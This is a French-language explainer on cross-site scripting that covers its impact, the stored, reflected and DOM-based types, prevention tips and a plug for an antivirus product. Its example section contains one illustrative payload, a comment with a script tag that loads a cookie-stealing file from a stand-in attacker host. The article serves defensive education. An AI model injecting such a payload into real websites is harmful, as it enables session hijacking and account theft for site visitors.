Ignorer le contenu principal

Qu’est-ce que le XSS ?

Les attaques XSS consistent à insérer un code malveillant dans des sites Web par ailleurs fiables. Une attaque XSS se produit quand des cybercriminels injectent un script malveillant dans le contenu du site Web ciblé, qui est ensuite inclus dans le contenu dynamique reçu par le navigateur de la victime. Il est impossible pour le navigateur de différencier les balises valides de celles du hacker et il se contente donc de les exécuter.

Par conséquent, ces scripts malveillants peuvent accéder aux cookies, aux jetons de session ou à d’autres informations sensibles conservées par le navigateur et utilisées sur ce site. Les hackers peuvent aussi se servir du XSS pour diffuser un malware, réécrire le contenu du site, perturber des réseaux sociaux et hameçonner les identifiants d’un utilisateur. Contrairement à d’autres attaques en ligne, les attaques XSS ne ciblent pas directement l’application elle-même, mais plutôt ses utilisateurs.

Comment fonctionne le XSS ?

Le XSS consiste à manipuler un site Web vulnérable, pour qu'il renvoie un script malveillant aux utilisateurs. Souvent, c’est le langage JavaScript qui est privilégié, mais n’importe quel langage de programmation côté client peut être utilisé. Les cybercriminels ciblent des sites Web avec des fonctions vulnérables qui acceptent les entrées utilisateur, comme les barres de recherche, les zones de commentaire ou les formulaires de connexion. Les criminels joignent leur code malveillant au site Web légitime, trompant ainsi les navigateurs pour qu'ils exécutent leur malware chaque fois que le site est visité.

Étant donné que JavaScript s'exécute sur la page du navigateur de la victime, des données sensibles sur l'utilisateur authentifié peuvent être volées lors de la session, ce qui permet aux pirates de cibler les administrateurs de sites et de compromettre les sites Web.

Selon comment le code est injecté, le contenu malveillant peut carrément ne pas être sur la vraie page Web elle-même, mais faire plutôt office d’élément de transition qui ne semble faire partie du site qu'au moment de l'exploitation. Cela peut créer l’illusion que le véritable site Web est compromis, alors que ce n’est pas le cas.

Il y a différentes manières de déclencher une attaque XSS. Elle peut par exemple être exécutée automatiquement lorsque la page se charge ou quand un utilisateur passe sa souris sur des éléments spécifiques d’une page, comme des hyperliens. Dans certains cas, le XSS est réalisé de façon plus directe, comme dans un message d’email. Certaines attaques XSS n’ont pas de cible spécifique. L‘attaquant exploite simplement une vulnérabilité dans l’application ou le site, et attend qu’une victime tombe dans son piège.

Selon l’ampleur de l’attaque, les comptes utilisateurs peuvent être compromis, des trojans activés et le contenu d’un page modifié, pour tromper les utilisateurs et les amener à divulguer des données confidentielles. Des cookies de session peuvent être révélés, permettant à un attaquant de se faire passer pour de vrais utilisateurs et d’exploiter leur compte personnel.

Une attaque XSS réussie peut avoir des conséquences dévastatrices pour la réputation d’un business en ligne et la relation avec ses clients. Malheureusement, les failles qui rendent ces attaques possibles sont assez répandues. Les attaques XSS exploitent les vulnérabilités dans de nombreux environnements de programmation, notamment VBScript, Flash, ActiveX et JavaScript. Elles ciblent principalement JavaScript, en raison de l'intégration étroite de ce langage dans la plupart des navigateurs. Cette capacité à exploiter des plateformes couramment utilisées rend les attaques XSS à la fois dangereuses et répandues.

Impact d’un XSS

En exploitant les failles XSS, un attaquant peut effectuer des actions malveillantes comme :

  • Rediriger les utilisateurs vers un site Web malveillant.
  • Enregistrer les frappes de l’utilisateur sur le clavier.
  • Accéder à l’historique de navigation de l’utilisateur et au contenu des presse-papiers.
  • Exécuter des attaques basées sur un navigateur Web (comme planter le navigateur).
  • Obtenir les informations sur les cookies d’un utilisateur qui est connecté à un site Web.
  • Voler le jeton de session de connexion, permettant à l'attaquant d'interagir avec l'application comme la victime, sans avoir à connaître son mot de passe.
  • Forcer l'utilisateur à envoyer des requêtes à un serveur, contrôlées par l'attaquant.
  • Modifier le contenu de la page.
  • Piéger la victime pour qu’elle divulgue son mot de passe pour accéder à l’application ou d’autres applications.
  • Infecter la victime avec d'autres codes malveillants en utilisant une vulnérabilité du navigateur Web lui-même, voire prendre le contrôle de l'ordinateur de la victime.

Dans certains cas, une attaque XSS peut conduire à une compromission complète du compte de la victime. Les attaquants peuvent inciter les utilisateurs à saisir leurs informations d'identification sur un faux formulaire, ce qui fournit toutes les informations à l'attaquant. Une fois qu’il obtient les identifiants de l’utilisateur, il peut s’en servir pour voler son identité ou commettre des fraudes financières.

Types d’attaques XSS

Les attaques XSS peuvent être classées en trois catégories principales : attaques XSS stockées, attaques XSS reflétées, attaques XSS basées sur le DOM.

Attaques XSS stockées (XSS persistant)

Un XSS stocké ou persistant est considéré comme l’attaque de cross-site scripting la plus dévastatrice. Elle se produit quand une page Web va stocker puis afficher un contenu envoyé par un pirate. Les points d’entrée pour les XSS stockés sont généralement des messages sur les forums, des commentaires sur des blogs, des profils utilisateurs et des champs de nom d’utilisateur. Un attaquant exploite généralement cette vulnérabilité en envoyant des charges utiles XSS sur des pages populaires ou en passant un lien à une victime, qui la redirigera vers une page contenant la charge utile XSS stockée. La victime visite la page et la charge utile est exécutée côté client par le navigateur Web de la victime.

Attaques XSS reflétées (XSS non persistant)

Les XSS reflétés représentent l’attaque de cross-site scripting la plus courante. Dans ce cas, la charge utile de l’attaquant doit faire partie de la demande envoyée par le serveur Web. Elle est ensuite renvoyée de manière à ce que la réponse HTTP inclue la charge utile de la demande HTTP. Les attaquants utilisent des liens malveillants, des emails de phishing et d’autres techniques d’ingénierie sociale pour inciter les victimes à effectuer une demande au serveur. La charge utile de l’attaque XSS reflétée est ensuite exécutée dans le navigateur de l’utilisateur.

Comme ce n’est pas une attaque persistante, le pirate doit délivrer la charge utile à chaque victime. Ces attaques sont souvent menées via les réseaux sociaux.

Attaques XSS basées sur le DOM

Le XSS basé sur le DOM fait référence à une faille de cross-site scripting qui apparaît dans le DOM (Document Object Model) au lieu d’être dans une partie de l’HTML. Dans les attaques XSS reflétées et stockées, on peut voir la charge utile de la vulnérabilité dans la page de réponse, mais dans les attaques basées sur le DOM, le code source HTML et la réponse seront les mêmes. En somme, la charge utile ne se trouvera pas dans la réponse. Elle ne pourra être observée qu'au moment de l'exécution ou en examinant le DOM de la page.

Ce type d’attaque se produit généralement côté client et la charge utile malveillante n’est jamais envoyée au serveur. Cela rend la détection encore plus difficile pour les pare-feu d'applications Web (WAF) et les ingénieurs en sécurité qui analysent les journaux des serveurs, car ils ne voient jamais l'attaque. Les objets du DOM qui sont le plus souvent manipulés sont l'URL (document.URL), la partie d’ancrage de l'URL (location.hash) et le référent (document.referrer).

Cross site scripting

Exemple d’attaque XSS

Quand vous naviguez sur un site de commerce électronique, une personne malveillante peut identifier une vulnérabilité qui permet d'intégrer des balises HTML dans la section des commentaires du site. Les balises intégrées deviennent ainsi un élément permanent de la page, ce qui amène le navigateur à les inclure avec le reste du code source chaque fois que la page est ouverte.

L’attaquant écrit un commentaire qui ressemble à ça : Article de très bonne qualité. Lisez mon avis complet ici <script src=”http://attackersite.com/authstealer.js”> </script>.

Après ça, chaque fois qu’un utilisateur accède à la page, la balise HTML dans les commentaires activera un fichier JavaScript, qui sera hébergé sur un autre site et volera les cookies de session du visiteur.

Grâce aux cookies de session, l’attaquant peut compromettre le compte du visiteur, pour avoir facilement accès à ses données personnelles et financières, tandis que le visiteur, lui, ne se rendra compte de rien et ne sera probablement même pas descendu jusque dans la zone des commentaires.

Contrairement à une attaque reflétée, où le script est activé après avoir cliqué sur un lien, l’attaque stockée nécessite seulement que la victime visite la page Web corrompue. Cela augmente la portée de l’attaque, qui touche ainsi tous les visiteurs, même les plus prudents.

Du point de vue de l'attaquant, les attaques XSS persistantes sont plus difficiles à exécuter en raison de la difficulté de trouver à la fois un site Web fréquenté et un site présentant des vulnérabilités permettant l'intégration permanente de scripts.

Prévention contre le XSS

Pour limiter les failles XSS, les développeurs/propriétaires de site Web doivent :

  • Veiller à ce que toutes les pages de leur site Web acceptant les entrées utilisateur filtrent les entrées de code, comme le HTML et le JavaScript.
  • Rechercher les vulnérabilités des applications Web et appliquer les correctifs nécessaires.
  • Mettre à jour le logiciel de leur site Web et de leur serveur, pour éviter toute exploitation future des vulnérabilités susceptibles d'être visées par une attaque XSS.

Pour éviter d’être victimes d’une attaque XSS, les utilisateurs doivent :

  • Désactiver les scripts sur les pages où ils ne sont pas nécessaires ou les désactiver complètement.
  • Éviter de cliquer sur des liens provenant d'emails ou de posts sur un forum suspect, qui pourraient rediriger vers des pages corrompues.
  • Accéder à des sites Web en tapant directement l’URL dans leur navigateur, au lieu de passer par la source ou le lien d’un tiers.
  • Maintenir leurs logiciels à jour pour bénéficier des derniers correctifs de bugs et de sécurité. Mettre à jour régulièrement ses logiciels peut réduire considérablement les failles qui rendent un site ou une application vulnérable aux attaques XSS.
  • Passer en revue les applications pour déterminer celles qui sont nécessaires et celles qui sont rarement utilisées. En vous débarrassant des applications que vous n'utilisez pas, vous réduisez le nombre de vulnérabilités potentielles.
  • Utilisez un antivirus de haute qualité comme Kaspersky Total Security, qui fonctionne 24h sur 24 pour protéger vos appareils et vos données. Il bloque les menaces courantes et complexes telles que les virus, les malwares, les ransomwares, les logiciels espions et toutes les dernières techniques de piratage.

Articles connexes :

Qu’est-ce qu’une attaque XSS (Cross-Site Scripting) ? Définition et explication

Qu’est-ce que le XSS ? Découvrez les attaques et les failles XSS, et comment les prévenir.
Kaspersky Logo